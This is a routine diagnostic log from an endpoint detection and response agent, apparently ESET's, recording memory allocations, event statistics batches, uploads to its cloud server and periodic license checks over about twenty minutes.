2026-03-04 13:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2247 KB; ModuleMetadata: 1903 KB; TcpIpConnectionsManager: 562 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; BaseEvent: 437 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; rules::ProcessConditionsCache: 187 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 115 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 11 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130227 KB;
2026-03-04 13:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2604 KB; ModuleMetadata: 1903 KB; BaseEvent: 620 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 164 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 124 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 130734 KB;
2026-03-04 13:52:33 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:48:29, To:, 2026-03-04 13:52:33, Duration (s):, 244, Events Per Second:, 16.831, Events:, 4111, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3411, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 699, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456144
2026-03-04 13:52:34 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s384ms.
2026-03-04 13:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1903 KB; ProcessInfo: 1430 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 52 KB; BaseEvent: 41 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 10 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128759 KB;
2026-03-04 13:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 13:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:53:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 13:53:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 13:53:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 13:53:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 13:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1904 KB; ProcessInfo: 1837 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; BaseEvent: 244 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 88 KB; BatchSerializer::EventsQueueTag: 63 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129442 KB;
2026-03-04 13:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2232 KB; ModuleMetadata: 1904 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; BaseEvent: 431 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 113 KB; rules::ProcessConditionsCache: 109 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130097 KB;
2026-03-04 13:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2595 KB; ModuleMetadata: 1904 KB; BaseEvent: 610 KB; TcpIpConnectionsManager: 575 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 161 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 83 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130666 KB;
2026-03-04 13:56:37 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:52:32, To:, 2026-03-04 13:56:37, Duration (s):, 245, Events Per Second:, 16.680, Events:, 4092, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3383, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 708, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454689
2026-03-04 13:56:38 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s357ms.
2026-03-04 13:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1904 KB; ProcessInfo: 1434 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 78 KB; BaseEvent: 51 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 14 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 128774 KB;
2026-03-04 13:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1904 KB; ProcessInfo: 1802 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; BaseEvent: 233 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 70 KB; BatchSerializer::EventsQueueTag: 61 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129342 KB;
2026-03-04 13:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 13:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:58:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 13:58:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 13:58:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 13:58:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 13:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2151 KB; ModuleMetadata: 1904 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; BaseEvent: 406 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 106 KB; rules::ProcessConditionsCache: 43 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129871 KB;
2026-03-04 13:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2549 KB; ModuleMetadata: 1904 KB; BaseEvent: 597 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 157 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 96 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130591 KB;
2026-03-04 14:00:41 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:56:36, To:, 2026-03-04 14:00:41, Duration (s):, 245, Events Per Second:, 16.756, Events:, 4112, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3401, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 710, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457384
2026-03-04 14:00:42 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s361ms.
2026-03-04 14:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1904 KB; ProcessInfo: 1420 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 105 KB; BaseEvent: 44 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; BatchSerializer::EventsQueueTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128783 KB;
2026-03-04 14:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1904 KB; ProcessInfo: 1793 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; BaseEvent: 225 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 103 KB; BatchSerializer::EventsQueueTag: 59 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129406 KB;
2026-03-04 14:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2131 KB; ModuleMetadata: 1904 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; BaseEvent: 393 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 103 KB; rules::ProcessConditionsCache: 47 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129867 KB;
2026-03-04 14:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 14:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:03:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 14:03:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 14:03:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 14:03:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 14:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2521 KB; ModuleMetadata: 1904 KB; BaseEvent: 586 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 154 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 63 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 13 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130502 KB;
2026-03-04 14:04:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:00:41, To:, 2026-03-04 14:04:49, Duration (s):, 248, Events Per Second:, 16.548, Events:, 4108, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3387, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 720, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457415
2026-03-04 14:04:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s357ms.
2026-03-04 14:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1904 KB; ProcessInfo: 1343 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 54 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; BatchSerializer::EventsQueueTag: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128597 KB;
2026-03-04 14:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1904 KB; ProcessInfo: 1684 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; BaseEvent: 191 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 49 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129107 KB;
2026-03-04 14:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2072 KB; ModuleMetadata: 1904 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 383 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 99 KB; rules::ProcessConditionsCache: 46 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129757 KB;
2026-03-04 14:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2433 KB; ModuleMetadata: 1904 KB; BaseEvent: 554 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 145 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 71 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 130390 KB;
2026-03-04 14:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 14:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:08:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 14:08:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 14:08:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 14:08:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 14:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2828 KB; ModuleMetadata: 1906 KB; BaseEvent: 737 KB; TcpIpConnectionsManager: 583 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BatchSerializer::EventsQueueTag: 195 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 109 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 131104 KB;
2026-03-04 14:08:57 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:04:48, To:, 2026-03-04 14:08:56, Duration (s):, 248, Events Per Second:, 16.563, Events:, 4124, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3409, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 712, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461056
2026-03-04 14:08:58 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s367ms.
2026-03-04 14:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1906 KB; ProcessInfo: 1786 KB; TcpIpConnectionsManager: 599 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BaseEvent: 197 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 115 KB; BatchSerializer::EventsQueueTag: 56 KB; ProcessInfoCommandLineTag: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129420 KB;
2026-03-04 14:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2156 KB; ModuleMetadata: 1906 KB; TcpIpConnectionsManager: 608 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; BaseEvent: 381 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 112 KB; BatchSerializer::EventsQueueTag: 104 KB; ProcessInfoCommandLineTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130028 KB;
2026-03-04 14:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2524 KB; ModuleMetadata: 1906 KB; TcpIpConnectionsManager: 580 KB; BaseEvent: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BatchSerializer::EventsQueueTag: 153 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 107 KB; ProcessInfoCommandLineTag: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130599 KB;
2026-03-04 14:12:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:08:56, To:, 2026-03-04 14:12:45, Duration (s):, 229, Events Per Second:, 18.034, Events:, 4137, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3458, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 678, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 467590
2026-03-04 14:12:46 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s372ms.
2026-03-04 14:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1906 KB; ProcessInfo: 1396 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 159 KB; cloudutils::CloudData: 131 KB; BaseEvent: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; BatchSerializer::EventsQueueTag: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 128804 KB;
2026-03-04 14:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 14:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:13:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 14:13:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 14:13:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 14:13:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
